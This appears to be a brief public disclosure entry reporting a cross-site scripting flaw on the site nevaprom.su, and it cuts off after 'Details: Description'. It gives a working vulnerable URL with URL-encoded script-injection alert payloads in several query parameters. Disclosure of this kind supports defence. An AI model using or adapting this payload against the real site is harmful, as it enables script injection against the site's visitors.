nevaprom.su XSS vulnerability

Vulnerable URL: http://nevaprom.su/?a=0id=%22%3E%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3Ekw=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description|...